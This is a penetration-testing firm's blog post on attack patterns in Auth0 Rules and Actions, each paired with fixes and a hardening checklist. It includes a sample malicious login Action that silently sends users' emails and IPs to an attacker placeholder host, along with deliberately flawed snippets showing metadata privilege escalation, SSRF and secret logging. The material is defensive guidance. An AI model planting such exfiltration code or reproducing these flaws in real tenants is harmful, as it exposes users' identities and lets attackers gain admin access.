Valtik Studios
Back to blog
Auth0high2026-03-0214 min

Auth0 Rules and Actions: The Hidden Code Execution Surface In Your Auth Provider

Auth0 runs your authentication. It also runs arbitrary JavaScript that your team (or past team members) wrote, triggered on every login. Auth0 Rules, Actions, and Hooks are code-execution surfaces that most organizations don't audit. A practical walkthrough of the attack patterns we find. Compromised Rules, leaky Actions, privilege escalation via metadata manipulation, and the hardening every Auth0 tenant needs.

TT
Tre Trebucchi·Founder, Valtik Studios. Penetration Tester

Founder of Valtik Studios. Pentester. Based in Connecticut, serving US mid-market.

The auth provider that runs your code

What we actually see in the field diverges from what the vendors describe. Here's the unvarnished version.

Auth0 (acquired by Okta in 2021) is one of the most widely-used identity platforms. Tens of thousands of organizations use it for consumer login, B2B SSO, customer identity management, API authorization. It's convenient. A few lines of SDK integration and your app has OAuth, social login, MFA, SSO.

What most Auth0 customers don't appreciate: Auth0 runs custom JavaScript your team writes on every authentication event. This code runs in Auth0's serverless environment with access to user profiles, tokens, and identity metadata. It can modify user data, grant or deny access, call external APIs, and persist state.

This capability is marketed as "Rules" (legacy, being deprecated), "Actions" (current), and "Hooks" (legacy database action extensions). Auth0 is actively migrating everyone to Actions.

The code that runs during your users' authentication flow is the single most privileged execution context in your identity infrastructure. A compromise of this code means every login silently hands credentials to an attacker. Yet this code is commonly:

  • Written years ago and forgotten
  • Authored by former engineers no one has replaced
  • Accepting untrusted user metadata as input
  • Calling external APIs without validation
  • Stored in versions your team doesn't review regularly
  • Accessible to anyone with Auth0 tenant admin access

This post covers the specific attack patterns we find on Auth0 deployments during penetration tests, the underlying misconfigurations. And the hardening every Auth0 tenant should implement.

The Auth0 execution model

Auth0 supports several forms of custom logic:

Rules (legacy)

JavaScript functions that run during the authentication transaction. One Rule can decide whether to grant access, modify the user profile, enrich the ID token with claims, or redirect authentication elsewhere.

Rules run sequentially. Each has access to:

  • User profile (claims, metadata, connection info)
  • Request context (IP, user agent, application)
  • Prior Rules' modifications
  • Full Node.js environment with network access

Rules were Auth0's original extensibility mechanism. They're being deprecated in favor of Actions. Many tenants still have Rules running in production.

Actions (current)

Auth0's modern extensibility. Actions are JavaScript functions triggered by specific events:

  • Login (most common). Runs during login flow
  • Post User Registration
  • Pre User Registration
  • Password Change
  • Machine to Machine
  • Send Phone Message (custom SMS)
  • Pre SSO

Actions have similar capabilities to Rules but with a clearer event-driven model. Each Action is associated with a specific trigger.

Hooks (legacy, database connections specifically)

JavaScript that runs when a database-connection user logs in, signs up, or has their password changed.

Custom Database Scripts

JavaScript that implements the database queries for custom database connections.

All of these are code execution surfaces that matter for security.

Attack pattern 1: Credential harvesting via malicious Rule/Action

The fundamental attack. An attacker with Auth0 tenant admin access creates or modifies a Rule/Action that captures credentials and exfiltrates them.

Example malicious Action:

exports.onExecutePostLogin = async (event, api) => {
  const userEmail = event.user.email;
  const userIp = event.request.ip;
  const ua = event.request.user_agent;
  
  // Exfiltrate to attacker-controlled server
  try {
    const axios = require('axios');
    await axios.post('https://attacker.example.com/collect', {
      email: userEmail,
      ip: userIp,
      ua: ua,
      time: new Date().toISOString()
    }, { timeout: 1000 });
  } catch (e) {
    // Silent failure
  }
  
  // Don't block the login. User sees normal experience
};

Every successful login now pings the attacker with the user's email, IP, and user agent. The attacker builds a real-time activity feed of your user base. Combined with a separate credential collection mechanism (phishing sites, for instance), this enables targeted attacks.

More sophisticated variants:

  • Session hijacking setup: capture tokens, generate session cookies, store for replay
  • Silent MFA bypass: add logic to skip MFA for attacker-specified accounts
  • Privilege escalation: grant admin roles to attacker-controlled accounts
  • Data exfiltration on login: dump user profile data for entire tenant over time
  • Persistent backdoor: add a backdoor that activates for specific usernames, remains dormant otherwise

How the attacker gets in:

  • Auth0 admin credential compromise (phishing, credential reuse, compromised admin device)
  • Insider threat (disgruntled employee, contractor with admin access)
  • Social engineering Auth0 support or the target organization's support
  • Compromised CI/CD that has Auth0 Management API tokens

The fix:

  • MFA enforced on all Auth0 admin accounts. Hardware keys preferred.
  • Minimum-privilege admin roles. Not every admin needs full tenant admin.
  • Audit logging of Rules/Actions changes. Alert on any modification.
  • Version control of Rules/Actions code. Store in git, review changes via PR.
  • Periodic review of all Rules/Actions. Any code that looks unfamiliar warrants investigation.

Attack pattern 2: Privilege escalation via user_metadata

Auth0 has two metadata types:

  • user_metadata. client-writable by default. User can update their own metadata via the Auth0 API if the client supports it.
  • app_metadata. server-only. Requires Management API access to update.

Many applications use user_metadata for fields the user should be able to update (preferences, display name, etc.) and app_metadata for server-controlled data (roles, permissions, subscription status).

The common bug: application authorization logic reads roles from user_metadata when it should read from app_metadata.

// BAD: role comes from client-writable metadata
exports.onExecutePostLogin = async (event, api) => {
  const role = event.user.user_metadata.role;
  api.idToken.setCustomClaim('role', role);
};

// A user can PATCH their own user_metadata to set role: "admin"
// The Action then adds "admin" to their ID token

Equivalent to the Clerk unsafe_metadata pattern we covered in our Clerk Auth blog post. Auth0 has the same footgun under different naming.

Real finding: a SaaS product used user_metadata.role for authorization decisions. A customer who discovered the pattern promoted themselves to admin via a direct PATCH to the Auth0 Management API → accessed all customers' data via the admin UI.

The fix:

  • Use app_metadata for anything authorization-related. Roles, permissions, subscription tier, feature flags.
  • Treat user_metadata as user-controlled input. Never base authorization on it.
  • Audit Actions for metadata source. Any Action that reads metadata for security purposes should pull from app_metadata.

Attack pattern 3: SSRF via Auth0 Action

Actions can make outbound HTTP calls. If an Action constructs URLs from user-controlled data without validation, SSRF is possible. From Auth0's serverless environment.

// BAD: SSRF
exports.onExecutePostLogin = async (event, api) => {
  const webhookUrl = event.user.user_metadata.profileSyncUrl;
  // User-controlled URL
  const axios = require('axios');
  await axios.get(webhookUrl);
};

Auth0's serverless runners have network access. Depending on network egress configuration, SSRF could reach:

  • Auth0's internal metadata services (limited but relevant)
  • Cloud provider metadata services (AWS IMDS at 169.254.169.254, GCP metadata)
  • Internal services if Auth0 tenant is on a private network connection to customer infrastructure

The practical impact depends on Auth0's specific network configuration. But the principle applies: never make user-controlled HTTP calls from Actions.

The fix:

  • Allowlist outbound destinations in Actions
  • Validate URLs against expected patterns
  • Use Auth0's secrets and configuration for external service URLs than user data
  • Avoid user-controlled URL inputs to Actions entirely where possible

Attack pattern 4: Secret leakage via console.log

Auth0 Rules and Actions can console.log. The logs appear in Auth0's Dashboard Real-Time Webtask Logs, accessible to Auth0 tenant admins.

The bug: developers log sensitive data during development and leave the logs in production.

// BAD
exports.onExecutePostLogin = async (event, api) => {
  console.log('Full event:', JSON.stringify(event));
  // event contains: user profile, claims, request metadata, API tokens
};

Tenant admins can read these logs. If tenant admin access is compromised (via credential reuse, social engineering, etc.), historical logs expose everything that was logged.

Real finding: an Auth0 Action logged API response bodies from an external service. The responses contained user-specific API keys. Logs accumulated for months. Tenant audit revealed the exposed keys.

The fix:

  • Remove debug console.log from production Actions.
  • Never log secrets, tokens, passwords, PII.
  • Review logs as sensitive data. Treat log access with the same rigor as admin access.
  • Implement log redaction for any sensitive fields that must be logged.

Attack pattern 5: Dependency vulnerabilities in Rules/Actions

Rules and Actions can require npm packages. Older Rules often use old versions of packages with known vulnerabilities.

The bug: an Action depends on an outdated package with a known security issue:

const lodash = require('lodash'); // Some vulnerable version pre-4.17.21
const axios = require('axios'); // Old version with SSRF or memory issues

When a Rule/Action is created, the specified package version gets locked in. Auth0 doesn't automatically update dependencies. The code runs with whatever version was specified at creation. Potentially years old.

The fix:

  • Audit dependencies in Rules/Actions
  • Update dependencies regularly
  • Review Auth0's supported package list (they restrict which packages can be used)
  • Minimize dependencies where possible. Pure-JavaScript implementations often suffice

Attack pattern 6: Broken Action control flow

Actions can redirect, block, or modify authentication in specific ways. Incorrect use can break authentication security.

Common bugs:

  • Always returning api.access.allow() regardless of input validation
  • Not calling api.access.deny() when denial is intended. User still authenticates
  • Modifying user claims after authorization decision. Creates TOCTOU issues
  • Redirecting to user-controlled URLs without validation. Open redirect

Real finding: an Action for step-up authentication only enforced MFA on Windows user agents. The logic intended to require MFA for everyone, but a condition check got inverted during refactoring. Mobile users bypassed MFA entirely for six months before the gap was discovered during an audit.

The fix:

  • Test authentication flows thoroughly. Include negative cases
  • Review Action control flow with fresh eyes periodically
  • Use defensive defaults. Deny by default, allow only when explicit conditions met
  • Unit test Actions where possible

Attack pattern 7: Management API token exposure

Auth0's Management API requires an access token with specific scopes. Many applications use long-lived Management API tokens for programmatic Auth0 configuration.

Exposure patterns:

  • Management API tokens hardcoded in client-side code (devastating)
  • Tokens in CI/CD environment variables that leak via logs
  • Tokens in configuration files committed to git
  • Tokens shared across team members without rotation
  • Tokens with excessive scopes (read:users write:users read:connections write:connections) when they only need one

The fix:

  • Use Auth0's Actions for programmatic actions. Actions run as Auth0, not as a separate token holder
  • Machine-to-Machine applications with minimum scopes for necessary programmatic operations
  • Short-lived tokens via client credentials flow, not long-lived access tokens
  • Rotate M2M credentials regularly
  • Monitor token usage for anomalies

Attack pattern 8: Universal Login customization XSS

Auth0's Universal Login can be customized with custom HTML, CSS, and JavaScript. Customers hosting their Auth0 tenant on a custom domain (login.example.com) who customize the login page can introduce XSS.

The bug: custom JavaScript in the Universal Login page renders user-controlled data without escaping. An attacker can:

  • Inject content via URL parameters that gets rendered
  • Execute scripts in the context of the login page
  • Steal authentication data, tokens, or session cookies

Real finding: a SaaS product's custom Universal Login rendered an "error message" parameter from the query string directly. Attacker sent users to the login URL with a crafted error message containing script tags → scripts executed with access to the login session.

The fix:

  • Escape all dynamic content in Universal Login customizations
  • Avoid rendering URL parameters without validation
  • Use Auth0's built-in error handling than custom error display
  • Review Universal Login customizations for XSS patterns

Attack pattern 9: Connection misconfigurations

Auth0 supports many authentication "connections". Databases, social providers (Google, Facebook, GitHub, etc.), enterprise providers (SAML, OIDC, Active Directory).

Common misconfigurations:

  • Connection claim mapping bugs. Identity claims from connections get mapped incorrectly, enabling impersonation
  • Weak SAML signing requirements. Accepting unsigned assertions or weak signature algorithms
  • OIDC issuer validation gaps. Accepting tokens from wrong issuers
  • Social login account linking. Automatic linking by email allows takeover if email verification is weak
  • Database connection with weak password policies

Real finding: an Auth0 tenant linked Google login and custom OIDC login by email. The custom OIDC provider didn't verify email ownership. Attacker registered with victim's email on the custom OIDC, then was automatically linked to the victim's existing Google-authenticated account.

The fix:

  • Audit connection configurations for claim mapping correctness
  • Enforce SAML signing and validate signer certificates
  • Validate OIDC issuers strictly
  • Require email verification before allowing account linking
  • Test connections from attacker perspective

Attack pattern 10: Tenant misconfiguration. MFA opt-out

Auth0 supports MFA, but MFA enforcement happens at the application or rule level. Common gaps:

  • MFA available but not enforced for any application
  • MFA enforced for production but test environments use the same tenant without MFA
  • MFA enforcement depends on Rule/Action that can be disabled
  • MFA rules that allow specific users to opt out

Real finding: an Auth0 tenant had MFA configured but the Rule enforcing it only applied to a specific application. Users accessing via another application (a legacy integration) never got MFA challenged. The legacy application had admin access to the customer data.

The fix:

  • Enforce MFA at the tenant level where possible
  • Use Actions with force MFA for consistent enforcement
  • Test MFA enforcement across all applications and connections
  • Regular review. MFA bypasses introduced during troubleshooting often persist

The hardening checklist

For any Auth0 tenant in production:

Admin access

  • [ ] MFA enforced on all Auth0 admin accounts
  • [ ] Hardware-key MFA preferred
  • [ ] Minimum-privilege admin roles (not everyone needs tenant admin)
  • [ ] Regular admin access review
  • [ ] Separate admin accounts from general user accounts
  • [ ] Admin activity logging and alerting

Rules and Actions

  • [ ] All Rules reviewed and either retained with justification or removed
  • [ ] All Actions reviewed for security anti-patterns
  • [ ] Code stored in version control with review process
  • [ ] No console.log of sensitive data
  • [ ] Dependencies audited and updated
  • [ ] Unit tests for Actions where applicable
  • [ ] Plan for Rules → Actions migration (Rules being deprecated)

Metadata

  • [ ] app_metadata used for authorization data
  • [ ] user_metadata used only for user-updatable preferences
  • [ ] No authorization decisions based on user_metadata
  • [ ] Audit of all custom claims sources

Management API

  • [ ] M2M applications with minimum scopes
  • [ ] Token rotation procedures
  • [ ] No admin tokens in client-side code
  • [ ] No admin tokens committed to git
  • [ ] Monitoring of Management API usage

Universal Login

  • [ ] No XSS in custom login pages
  • [ ] Dynamic content properly escaped
  • [ ] Custom JavaScript reviewed for security

Connections

  • [ ] All connections audited for configuration
  • [ ] SAML signing enforced
  • [ ] OIDC issuer validation
  • [ ] Email verification required for account linking
  • [ ] Connection claim mapping correct

MFA

  • [ ] MFA enforced consistently across applications
  • [ ] MFA enforcement tested from attacker perspective
  • [ ] No MFA bypass rules unless specifically justified
  • [ ] Phishing-resistant MFA (FIDO2) preferred

Monitoring

  • [ ] Auth0 logs forwarded to SIEM
  • [ ] Alerting on admin changes, Rule/Action modifications, unusual authentication patterns
  • [ ] Quarterly tenant configuration review
  • [ ] Incident response plan for Auth0-specific scenarios

For organizations migrating to Okta / Okta Identity Engine

Okta acquired Auth0 in 2021. Ongoing unification means Auth0 is progressively merging into Okta's identity platform. Customers should:

  • Plan for the Auth0 → Okta integration (some customers may migrate tenants)
  • Watch for new features and deprecations
  • Maintain security hygiene through the transition period
  • Review whether Okta's native capabilities can replace custom Auth0 logic

For specific scenarios

High-security applications

Healthcare, finance, government. Applications where authentication compromise is catastrophic:

  • Enforce FIDO2 hardware-key MFA
  • Use app_metadata exclusively for authorization
  • Minimize custom Rules/Actions (each is attack surface)
  • Monitor all tenant activity aggressively
  • Consider dedicated tenant than shared tenants
  • Regular third-party audit of Auth0 configuration

B2B SaaS

Multi-tenant SaaS using Auth0 for customer authentication:

  • Per-customer connection isolation where possible
  • Customer-scoped Rules/Actions than global
  • Strong claims mapping to prevent tenant confusion
  • Customer notification procedures for security incidents

Consumer apps

B2C applications:

  • Social login integration properly hardened
  • Progressive profile collection with user_metadata for preferences only
  • Standard MFA for high-risk operations
  • Account recovery paths secured

For Valtik clients

Valtik's Auth0 security audits include:

  • Tenant configuration review
  • Rules and Actions security analysis
  • Metadata usage audit
  • Management API token inventory
  • Universal Login customization review
  • Connection configuration review
  • MFA enforcement testing
  • Migration-path advice (Rules to Actions, or Auth0 to alternative)

If you run Auth0 in production with custom Rules/Actions that haven't been independently reviewed in the last 12 months, reach out via https://valtikstudios.com.

The honest summary

Auth0 is a powerful identity platform. Its extensibility via Rules and Actions is a strength for developers and a security challenge for operators. The custom JavaScript running in your authentication flow is the most privileged code execution context in your identity infrastructure. But it's rarely treated with the rigor that execution context deserves.

If your Auth0 tenant has Rules or Actions that haven't been reviewed in six months, have an audit. If it has Rules or Actions written by team members who no longer work there, have an audit. If it has ever authenticated users in ways you don't fully understand, have an audit.

Authentication is too important to leave as Auth0's unfamiliar territory. Make it familiar.

Sources

  1. Auth0 Documentation
  2. Auth0 Actions Overview
  3. Auth0 Rules Deprecation Notice
  4. Auth0 Management API
  5. Auth0 Security Best Practices
  6. Auth0 Security Bulletins
  7. Auth0 + Okta Announcement
  8. OAuth 2.0 Security Best Practices (RFC)
  9. OpenID Connect Specification
  10. Identity Platform Security Research. Valtik
auth0identityauthenticationplatform securitypenetration testingapplication securityvulnerability assessmentresearch

Want us to check your Auth0 setup?

Our scanner detects this exact misconfiguration. plus dozens more across 38 platforms. Free website check available, no commitment required.

Get new research in your inbox
No spam. No newsletter filler. Only new posts as they publish.